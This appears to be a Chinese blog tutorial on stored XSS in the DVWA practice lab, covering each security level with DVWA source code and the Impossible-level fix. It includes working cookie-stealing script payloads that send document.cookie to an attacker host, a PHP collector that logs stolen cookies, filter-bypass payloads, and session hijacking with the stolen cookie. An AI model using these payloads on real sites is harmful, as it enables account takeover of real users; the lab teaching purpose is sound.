DVWA靶机-存储型XSS漏洞(Stored)

本文详细解析DVWA靶机中的存储型XSS漏洞,从LOW至IMPOSSIBLE等级,涵盖漏洞测试、恶意代码植入及防御策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

DVWA靶机-存储型XSS漏洞(Stored)

前章:

DVWA靶机-暴力破解(Brute Force) && DVWA靶机的四个安全等级
DVWA靶机-命令注入漏洞(Command Injection)
DVWA靶机-文件包含漏洞(File Inclusion)
DVWA靶机-文件上传漏洞(File uploads)
DVWA靶机-跨站请求伪造(CSRF)
DVWA靶机-反射性XSS漏洞(Reflected)

XSS跨站脚本攻击

XSS(Cross Site Script):全称为跨站脚本攻击,为了与CSS(Cascading Style Sheet)层叠样式表有所区别,所以在安全领域称之为XSS。

XSS攻击:通常指黑客通过HTML注入(控制输入变量),插入恶意脚本,从而在被攻击者浏览网页时,加载并执行攻击者恶意制造的网页程序,通常指JS,实际可包含java、VBscript、ActiveX、Flash、html,攻击成功后,攻击者可能得到一定的权限私密网页内容会话cookie等。

存储型XSS漏洞挖掘方法

之前我们已经介绍过XSS反射型漏洞的挖掘以及攻击方法,今天我们来介绍XSS存储型漏洞的挖掘与攻击方法,同XSS反射型类似,原理相同,区别在于,存储型是将输入的将恶意代码上传或者存储到漏洞服务器中,当被攻击者浏览包含该恶意代码的页面,就可能执行这段恶意代码,存储型的XSS可以永久存储于网页的服务器中

存储型的危害相当的大,将恶意代码存储在服务器中,当任何一个用户访问时都有可能触发恶意代码的执行,从而导致用户的cookie被盗取等。

1.存储型XSS漏洞可能存在的环境

存储型XSS一般出现在网站留言板、评论、等可以与服务器交互的位置,在DVWA-XSS(Stored)模块中模拟了一种评论留言的留言板
在这里插入图片描述

2.漏洞测试

既然输入的内容能存入服务器,并回显在WEB页面,那我们可以尝试一下<script></script>标签是否能执行

<script>alert(1)</script>

在这里插入图片描述

3.漏洞检验-恶意代码化

此时我们发现了存储型XSS漏洞,此时我们可以修改攻击载荷<scirpt></script>,加入一些恶意代码执行
在这里插入图片描述

1.DVWA-LOW等级下的存储型XSS漏洞

(1).测试存储型XSS漏洞所在位置

在low等级下,Stored型XSS的页面回显如下,我们在留言板中输入name和message会存储在服务器中,并在页面回显出来,在low等级下必然存存储型XSS,我们可以直接实施攻击。
在这里插入图片描述
首先,我们在网页源代码中找出回显模块,我们以message为例
在这里插入图片描述
在回显this is test!时使用标签<br>this is test!</br>
此时我们可以尝试打破<br>标签闭合,在输入时加入其它函数或者标签。
弹窗函数:

  • alert() && confirm() && prompt()函数: 都为弹窗函数

我们使用<scirpt>alert(1)</script>标签打破<br>闭合,此时alert()函数会执行,弹框中显示1
在这里插入图片描述
此时我们可以进行一些有攻击性的操作,比如在留言板中构造出获取cookie值的函数,盗用进入该留言板的用户的cookie值。

(2).植入恶意代码、盗取用户cookie

document.loaction: 指定cookie传送站点
192.168.43.92:攻击者服务器
document.cookie: 获取进入留言板的用户的cookie值

注:message长度有限制,我们可以修改源码的长度限制,然后传入下面的恶意代码

<script>document.location='http://192.168.43.92/xss.php?cookie=' +document.cookie;</script>

在这里插入图片描述
xss.php: 为LOW等级下获取cookie的处理方法,以及迷惑性界面的定义

//xss.php
<?php
	$cookie=$_GET['cookie']; //获取cookie变量的值
	$log = fopen("cookie.txt","a+"); //创建并打开一个cookie.txt的文本,权限为读写权限,保留原本文件内容
	fwrite($log,$cookie."/n"); //把cookie的值写入创建的文本
	fclose($log); //关闭文本文件
?>
//为迷惑性404 html页面
[404源码](https://www.haolizi.net/example/view_14699.html)

当用户访问该留言板页面时,恶意代码执行,通过document.cookie函数获取当前用户的cookie值,赋给站点xss.php文件,xss.php文件中定义也文件操作,将获取的cookie写入站点cookie.txt文件,此时攻击者就获取了用户的cookie值

当用户访问该留言板时,恶意代码执行,会跳到我们xss.php中定义的内容

迷惑性页面404源码
在这里插入图片描述
此时恶意代码已经执行,cookie.txt文件创建成功,用户cookie已经写入cookie.txt文件
在这里插入图片描述
在这里插入图片描述

(3).以用户的身份认证(cookie)登录网站

在DVWA中对cookie没有防范措施,也就是说,在用户登录的情况下,攻击者可以利用被攻击者的cookie,直接与服务器获取连接

在此处

  • Firefox: 模拟用户登录状态
  • Chrome: 手动修改站点cookie,模拟攻击者登录过程
    在这里插入图片描述

LOW等级下的存储型XSS源码:
XSS(Stroed):

trim() 函数: 移除字符串两侧的空白字符或其他预定义字符
stripslashes()函数: 删除反斜杠"/"
mysql_real_escape_string()函数: 转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • "
  • \x1a
    如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );

    // Sanitize name input
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?> 

2.DVWA-Medium等级下的存储型XSS漏洞

(1).漏洞测试

Medium等级下必然存在一些过滤,我们测试过程中发现,在message中使用常用的绕过方法都不能绕过过滤策略
在这里插入图片描述
我们测试一下在name栏,能否执行<scirpt></script>标签,在测试过程中,name栏也有长度限制,我们修改其源码,增大长度插入<script></script>标签

我们测试出在name栏中正常的<script></script>也被做了过滤策略

绕过方法

  • 大写绕过: <ScRipt>alert(1)<ScRipt>
  • 双写绕过: <scr<script>ipt>alert(1)</script>
  • <img>标签错误路径绕过: <img src=x onerror=alert(1)>

此处以大写绕过为例
在这里插入图片描述

(2).植入恶意代码、盗取用户cookie

同low等级一样,我们构造的恶意代码为:

<ScRipt>document.location='http://192.168.43.92/xss1.php?cookie=' +document.cookie;</ScRipt>

与low等级不同的是,<ScRipt></ScRipt>

xss1.php: 为Medium等级下获取cookie的处理方法、迷惑性链接

创建的保存用户cookie的文档为,cookie1.txt文本文档

<?php
    $cookie = $_GET['cookie']; //获取cookie变量的值
    $log = fopen("cookie1.txt","a+"); // 创建并打开一个cookie1.txt的文本,权限为读写权限,保留原本文件内容
    fwrite($log,$cookie ."\n"); //把cookie的值写入创建的文本文档
	fclose($log); //关闭文本
?>
+//迷惑性404页面
[404源码](https://www.haolizi.net/example/view_14699.html)

当用户访问该留言板页面时,恶意代码执行,通过document.cookie函数获取当前用户的cookie值,赋给站点xss1.php文件,xss1.php文件中定义也文件操作,将获取的cookie写入站点cookie1.txt文件,此时攻击者就获取了用户的cookie值

当用户访问该留言板时,恶意代码执行,会跳到我们xss1.php中定义的内容

迷惑性页面404源码

在这里插入图片描述
cookie1.txt创建成功
在这里插入图片描述
cookie值写入cookie1.txt文本文档
在这里插入图片描述

(3).以用户的身份认证(cookie)登录网站

同low等级一样,在用户登录的情况下,攻击者可以利用用户的cookie,直接与服务器获取连接

在这里插入图片描述
Medium等级下的存储型XSS源码:
在Medium等级中,对message模块有强大的过滤,而对于name模块的过滤就比较弱了。
XSS(Stroed):
strip_tags() 函数: 剥去字符串中的 HTML、XML 以及 PHP 的标签,在此处剥除了message中的标签。
mysql_real_escape_string()函数: 转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • "
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
addslashes() 函数: 返回在预定义字符之前添加反斜杠的字符串
htmlspecialchars() 函数: 把预定义的字符转换为 HTML 实体。

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = mysql_real_escape_string( $message );
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?> 

3.DVWA-High等级下的存储型XSS漏洞

(1).漏洞测试

High等级下必然存在更强的过滤策略,我们测试过程中发现,同medium等级一样 在message中使用常用的绕过方法都不能绕过过滤策略
在这里插入图片描述
name栏中我们发现,<script></script>也被过滤,不能绕过,当然img标签可以绕过,我们看high等级下的源码
High等级下的存储型XSS源码:
XSS (Stored) Source:

preg_replace()函数: 函数用于正则表达式的搜索和替换,替换为空,i为不区分大小写

同DVWA靶机中High等级下的反射型XSS类似,都用到了preg_replace()函数,它彻底的过滤了<script></script>,不能绕过,同时针对于message模块,也有相当强大的过滤策略,message不存在存储型XSS漏洞

 <?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = mysql_real_escape_string( $message );
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?> 

绕过方法:

使用其他标签,比如 <img src=x onerror=alert(1)>img调用图片,src所描述路径不存在,会导致onerror执行,从而时alert(1)函数触发,回显1
在这里插入图片描述

4.DVWA-impossible等级

在impossible等级下,针对于message与name模块都使用 stripslashes()、mysql_real_escape_string()、以及htmlspecialchars()函数

这给我们对于防范存储型XSS提供一个范例

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = mysql_real_escape_string( $name );
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值